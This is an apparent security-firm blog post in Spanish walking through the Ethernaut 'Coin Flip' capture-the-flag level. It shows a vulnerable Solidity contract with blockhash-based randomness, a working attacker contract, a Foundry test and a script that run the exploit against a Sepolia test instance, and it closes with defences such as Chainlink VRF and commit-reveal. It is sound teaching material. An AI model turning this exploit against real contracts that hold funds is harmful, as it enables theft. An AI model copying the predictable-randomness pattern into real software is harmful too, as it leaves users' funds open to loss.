← Volver al blog
Mike B. - SecLat Security28 de agosto de 2026

Ethernaut Level 3 Walkthrough: Explotando Aleatoriedad Débil On-Chain en Solidity

En este artículo analizaremos y resolveremos el reto número 3 de Ethernaut: Coin Flip.

Este nivel parece una simple moneda al aire, pero enseña una lección que todo desarrollador de Solidity necesita aprender temprano: nada calculado a partir de datos del bloque es aleatorio. Si un contrato deriva un secreto de valores que un atacante también puede leer, el atacante ya conoce el resultado antes de llamar la función.

Además de resolver el reto, también entenderemos:

  • Por qué blockhash y otras variables de bloque no son una fuente de aleatoriedad
  • Cómo un atacante puede replicar la fórmula "aleatoria" de un contrato, on-chain
  • Cómo construir un contrato atacante que siempre acierte
  • Cómo validar el exploit usando Foundry
  • Cómo defenderse correctamente con una fuente de aleatoriedad basada en oráculo

Descripción del Reto

El contrato implementa un juego de volado. Cada llamada a flip calcula un lado pseudo-aleatorio a partir del hash del bloque anterior y lo compara contra la apuesta del usuario.

Cada acierto incrementa un contador consecutiveWins. Cualquier fallo lo reinicia a cero.

El objetivo del reto es:

Acertar el resultado del volado correctamente 10 veces seguidas.

Clasificación de la Vulnerabilidad

CategoríaValor
Vulnerabilidad:Aleatoriedad débil on-chain
Causa Raíz:El resultado "aleatorio" se deriva de datos públicos y replicables del bloque
Impacto:Un atacante puede acertar con 100% de certeza
Severidad:Crítica
Tipo de Ataque:Pseudo-aleatoriedad predecible vía blockhash

Análisis del Contrato Vulnerable

Este es el contrato vulnerable utilizado en el reto:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract CoinFlip {
    uint256 public consecutiveWins;
    uint256 lastHash;
    uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

    constructor() {
        consecutiveWins = 0;
    }

    function flip(bool _guess) public returns (bool) {
        uint256 blockValue = uint256(blockhash(block.number - 1));

        if (lastHash == blockValue) {
            revert();
        }

        lastHash = blockValue;
        uint256 coinFlip = blockValue / FACTOR;
        bool side = coinFlip == 1 ? true : false;

        if (side == _guess) {
            consecutiveWins++;
            return true;
        } else {
            consecutiveWins = 0;
            return false;
        }
    }
}

Causa Raíz de la Vulnerabilidad

El contrato intenta generar un volado justo usando solo datos on-chain:

uint256 blockValue = uint256(blockhash(block.number - 1));
lastHash = blockValue;
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;

blockhash(block.number - 1) devuelve el hash del bloque anterior. Ese valor no es secreto. Cualquier nodo de la red puede leerlo, y también puede hacerlo cualquier contrato, incluido el contrato de un atacante, dentro de la misma transacción.

FACTOR es exactamente 2^255. Dividir un uint256 entre 2^255 deja solo su bit más significativo: el resultado es 1 si ese bit está encendido, 0 si no. En otras palabras, side es simplemente el bit más alto del hash del bloque anterior.

Como el contrato de un atacante también puede leer blockhash(block.number - 1), puede calcular side con exactamente la misma fórmula antes de llamar flip, y pasar ese valor como _guess. La parte "aleatoria" de este juego aleatorio es completamente pública.

Esto viola un principio central del diseño seguro de smart contracts:

Un valor no puede usarse como secreto si cualquier participante, incluido un atacante, puede leerlo o recalcularlo antes de que se use.

Entendiendo la Aleatoriedad Débil On-Chain

La falla no está en la aritmética. Está en la fuente de entropía.

El flujo es el siguiente:

  1. flip lee blockhash(block.number - 1), un valor que forma parte del estado público de la blockchain.
  2. Deriva side de forma determinista a partir de ese valor.
  3. Compara side contra el _guess que envía quien llama.
  4. Como el paso 1 usa datos públicos, cualquiera puede calcular el mismo side antes de llamar flip, desde un contrato o desde un script fuera de la cadena.
Se mina el bloque N-1
      |
      v
blockhash(N-1) se vuelve público y estable dentro del bloque N
      |
      +----> CoinFlip.flip() lo lee y deriva "side"
      |
      +----> El contrato del atacante también lo lee y deriva el mismo "side"
                          |
                          v
                El atacante llama flip(side) -> siempre correcto

Esta clase exacta de bug ha causado pérdidas reales. El caso más citado es la lotería SmartBillions de 2018, donde el número ganador "aleatorio" se derivaba de datos del bloque que un atacante podía predecir, permitiendo ganar sorteos repetidos sin azar real.

¿Por Qué la Aleatoriedad Basada en blockhash es Peligrosa?

blockhash y otras variables derivadas del bloque (block.timestamp, block.number, block.difficulty / block.prevrandao) comparten el mismo problema: son públicas antes o en el momento exacto en que se ejecuta una transacción.

Algunos matices importan aquí:

  • blockhash solo devuelve valores distintos de cero para los 256 bloques más recientes. Consultas más antiguas devuelven cero, lo cual algunos contratos asumen erróneamente que los hace "más seguros": cero sigue siendo completamente predecible.
  • Incluso block.prevrandao (el reemplazo de block.difficulty tras el Merge), aunque más difícil de sesgar que un hash, es conocido por los validadores antes que por usuarios comunes, y no debe tratarse como impredecible frente a un actor suficientemente motivado.
  • Cualquier valor calculable a partir de datos disponibles on-chain, antes o durante la transacción que lo consume, no puede servir como secreto.

El patrón seguro es obtener la aleatoriedad fuera de la cadena, desde un oráculo diseñado para ello, y consumirla solo después de que haya quedado comprometida de una forma que quien la solicita no pueda influir o predecir de antemano.

Estrategia del Ataque

Ahora que entendemos la vulnerabilidad, podemos diseñar el exploit.

Sabemos que:

  1. side está completamente determinado por blockhash(block.number - 1), un valor que cualquier contrato puede leer.
  2. Un contrato puede calcular side y llamar flip(side) en la misma transacción, garantizando un acierto.
  3. flip revierte si se llama dos veces con el mismo blockValue, así que cada intento necesita un bloque nuevo.
  4. Necesitamos 10 aciertos consecutivos, así que debemos repetir el ataque en 10 bloques distintos.

Por lo tanto, nuestra estrategia será:

  1. Desplegar un contrato atacante que recalcule exactamente la misma fórmula que CoinFlip.
  2. Llamar a su función attack() una vez por bloque, durante 10 bloques.
  3. Cada llamada lee el blockhash(block.number - 1) actual, deriva la apuesta correcta y llama a flip con ese valor.
  4. Después de 10 llamadas exitosas, consecutiveWins llega a 10 y el reto queda resuelto.

Contrato Atacante

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface CoinFlip {
    function flip(bool _guess) external returns (bool);
}

contract CoinFlipGuesser {
    uint256 constant FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

    CoinFlip public target;
    address public owner;

    constructor(address _target) {
        target = CoinFlip(_target);
        owner = msg.sender;
    }

    /// @notice Recalcula la fórmula de la víctima en el mismo bloque, así el guess siempre acierta.
    function attack() external returns (bool) {
        require(msg.sender == owner, "Not owner");
        uint256 blockValue = uint256(blockhash(block.number - 1));
        bool guess = (blockValue / FACTOR) == 1;
        return target.flip(guess);
    }
}

Declaramos una interfaz mínima CoinFlip en lugar de importar directamente el contrato del reto. Esto mantiene el contrato atacante autocontenido y evita cualquier fricción de pragma entre el código ^0.8.0 del nivel y el resto del toolchain.

El constructor guarda la dirección de la víctima como una referencia tipada CoinFlip y registra owner, así solo quien despliega el contrato puede disparar attack(). Cada llamada a attack() lee el mismo blockValue que el contrato víctima está a punto de leer, en el mismo bloque, y envía la apuesta derivada.

Cómo Funciona el Exploit

Primero, desplegamos CoinFlipGuesser apuntando a la instancia del reto.

Luego, una vez por bloque, llamamos attack(). Internamente lee blockhash(block.number - 1), exactamente el mismo dato que CoinFlip.flip está por usar, calcula side con la misma división entre FACTOR, y llama de inmediato a flip(side).

Como ambos contratos observan el mismo blockhash en la misma transacción, la apuesta nunca falla. Cada llamada exitosa incrementa consecutiveWins en el contrato víctima.

Repetimos esto 10 veces, moviéndonos a un bloque nuevo entre cada llamada, porque CoinFlip revierte si se reutiliza el mismo blockValue. Después de la décima llamada exitosa, consecutiveWins llega a 10 y se cumple la condición del reto.

Validando el Exploit con Foundry

Después de clonar el repositorio de Ethernaut localmente, podemos crear un test con Foundry para validar el exploit.

// SPDX-License-Identifier: MIT
// CoinFlip_L3.t.sol
pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import {Utils} from "test/utils/Utils.sol";
import {CoinFlip} from "src/levels/CoinFlip.sol";
import {CoinFlipFactory} from "src/levels/CoinFlipFactory.sol";
import {CoinFlipGuesser} from "test/Solutions/Attacks/CoinFlipGuesser.sol";
import {Level} from "src/levels/base/Level.sol";
import {Ethernaut} from "src/Ethernaut.sol";

contract TestCoinFlip_L3 is Test, Utils {
    Ethernaut ethernaut;
    CoinFlip instance;

    address payable owner;
    address payable player;

    function setUp() public {
        address payable[] memory users = createUsers(2);

        owner = users[0];
        vm.label(owner, "Owner");

        player = users[1];
        vm.label(player, "Player");

        vm.startPrank(owner);
        ethernaut = getEthernautWithStatsProxy(owner);
        CoinFlipFactory factory = new CoinFlipFactory();
        ethernaut.registerLevel(Level(address(factory)));
        vm.stopPrank();

        vm.startPrank(player);
        instance = CoinFlip(createLevelInstance(ethernaut, Level(address(factory)), 0));
        vm.stopPrank();
    }

    function testInit() public {
        vm.prank(player);
        assertFalse(submitLevelInstance(ethernaut, address(instance)));
    }

    function testSolve() public {
        vm.startPrank(player);
        CoinFlipGuesser guesser = new CoinFlipGuesser(address(instance));

        // El nivel solo permite un flip por bloque, así que avanzamos un bloque antes de cada intento.
        for (uint256 i = 0; i < 10; i++) {
            vm.roll(block.number + 1);
            guesser.attack();
        }

        assertEq(instance.consecutiveWins(), 10);
        assertTrue(submitLevelInstance(ethernaut, address(instance)));
        vm.stopPrank();
    }
}

Ejecutando el Test

Ejecuta el test localmente, sin fork:

forge test --mp test/Solutions/CoinFlip_L3.t.sol --mt testSolve -vvv

Validamos este test contra el EVM local de Foundry en lugar de un fork de Sepolia. La razón es técnica, no un atajo: vm.roll solo avanza el número de bloque local. En una red forkeada, blockhash para un número de bloque que en realidad aún no se ha minado en la cadena real devuelve cero, y dos valores cero consecutivos disparan la propia protección del contrato if (lastHash == blockValue) revert();, mucho antes de llegar a los 10 aciertos. Localmente, el EVM de Foundry produce un hash determinista distinto para cada bloque, así que el ciclo corre limpio.

Una vez ejecutado, podemos verificar que el contrato atacante llegó a 10 aciertos consecutivos y que el nivel acepta el envío.

Resolviendo el Nivel en Sepolia

Ahora crearemos un script para ejecutar el exploit directamente contra la instancia de Ethernaut.

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

import {Script} from "forge-std/Script.sol";
import {CoinFlipGuesser} from "test/Solutions/Attacks/CoinFlipGuesser.sol";
import {console} from "forge-std/console.sol";

contract CoinFlipScript is Script {
    address public target;
    CoinFlipGuesser public guesser;

    function setUp() public {
        target = payable("0xYourEthernautInstance");
    }

    function run() public {
        uint256 pk = vm.envUint("PK"); // Private Key from .env to sign the Tx
        vm.startBroadcast(pk);

        // guesser = new CoinFlipGuesser(target);
        guesser = CoinFlipGuesser("your guesser contract address here");
        guesser.attack();

        console.log("Guesser contract:", address(guesser));

        vm.stopBroadcast();
    }
}

Ahora solo debemos ejecutar este script 10 veces, esperando un bloque nuevo cada vez, hasta que consecutiveWins llegue a 10. La primera ejecución desplegará el contrato guesser y nos dará su dirección, la cual debemos guardar y usar en las siguientes ejecuciones.

Ejecutando el Script

Primero ejecutamos el script localmente:

forge script scripts/CoinFlip.s.sol --rpc-url $SEPOLIA_RPC

Si todo funciona correctamente, podemos enviarlo a Sepolia. Repite esta llamada, esperando un bloque nuevo cada vez, hasta que consecutiveWins llegue a 10:

forge script scripts/CoinFlip.s.sol --rpc-url $SEPOLIA_RPC --broadcast --interactives 1 -vvv

Una vez que la décima llamada sea exitosa, consecutiveWins llegará a 10 en la instancia. Solo tienes que enviar la instancia en la página de Ethernaut.

Cómo Prevenir esta Vulnerabilidad

La defensa central es nunca derivar algo relevante para la seguridad a partir de datos que un observador on-chain pueda leer o reproducir antes de que se consuman.

Usa un oráculo de aleatoriedad verificable

Chainlink VRF (Verifiable Random Function) genera aleatoriedad fuera de la cadena junto con una prueba criptográfica, y la entrega on-chain en una transacción separada que quien la solicita no puede predecir de antemano:

import "@chainlink/contracts/src/v0.8/vrf/VRFConsumerBaseV2Plus.sol";

contract FairCoinFlip is VRFConsumerBaseV2Plus {
    // La aleatoriedad llega de forma asíncrona vía fulfillRandomWords,
    // nunca calculada a partir de datos del bloque disponibles para quien llama.
}

Nunca uses datos del bloque como fuente de aleatoriedad

Evita derivar resultados de blockhash, block.timestamp, block.number o block.prevrandao. Todos son públicos antes de usarse o influenciables por quien produce el bloque.

Separa el compromiso de la revelación

Si no hay un oráculo disponible, usa un esquema de commit-reveal donde el valor que determina el resultado se compromete (se hashea) antes de la acción del participante, y solo se revela después, para que el participante nunca pueda verlo con anticipación.

Lecciones Aprendidas

Este reto demuestra que "difícil de adivinar" no es lo mismo que "criptográficamente aleatorio".

Lecciones clave de este nivel:

  • blockhash y otras variables de bloque son datos públicos, nunca un secreto.
  • Si un contrato y el contrato de un atacante pueden calcular el mismo valor en el mismo punto de la transacción, ese valor no puede controlar acceso o recompensas.
  • Cláusulas de guardia como if (lastHash == blockValue) revert() evitan la repetición trivial, pero no corrigen la predictibilidad de fondo.
  • La aleatoriedad real debe venir de una fuente que la parte beneficiada por el resultado no pueda consultar de antemano.
  • Prefiere soluciones de oráculo auditadas como Chainlink VRF en lugar de inventar aleatoriedad on-chain.

Conclusión

En este reto explotamos una aleatoriedad débil on-chain que nos permitió predecir el resultado exacto de cada volado antes de llamar al contrato.

Construimos un contrato atacante que lee el mismo blockhash que lee la víctima, deriva la misma apuesta y llama a flip con certeza, repitiendo el ataque en 10 bloques para llegar a los aciertos consecutivos requeridos.

Este nivel es una excelente introducción a:

  • Aleatoriedad débil on-chain y su impacto en el mundo real
  • Por qué blockhash no puede usarse como secreto
  • Construcción de contratos atacantes mínimos con una interfaz tipada
  • Metodología de explotación real validada con Foundry
  • Patrones seguros de aleatoriedad usando oráculos verificables

Puedes encontrar más contenido sobre seguridad Web3 en nuestro blog.

Si estás buscando una auditoría de seguridad para tu protocolo, puedes contactarnos a través de nuestro sitio web seclat.xyz.

SECLAT - Security & Audit

SECLAT - Expertos en seguridad blockchain y auditorías de contratos inteligentes.

Estadísticas Clave

200+
Contratos Auditados
0
Incidentes Críticos
20+
Clientes Satisfechos
$100M+
Protegidos

Contactanos

Si buscas una auditoría de seguridad o una consulta, Contactanos.

© 2026 SECLAT Security. Todos los derechos reservados.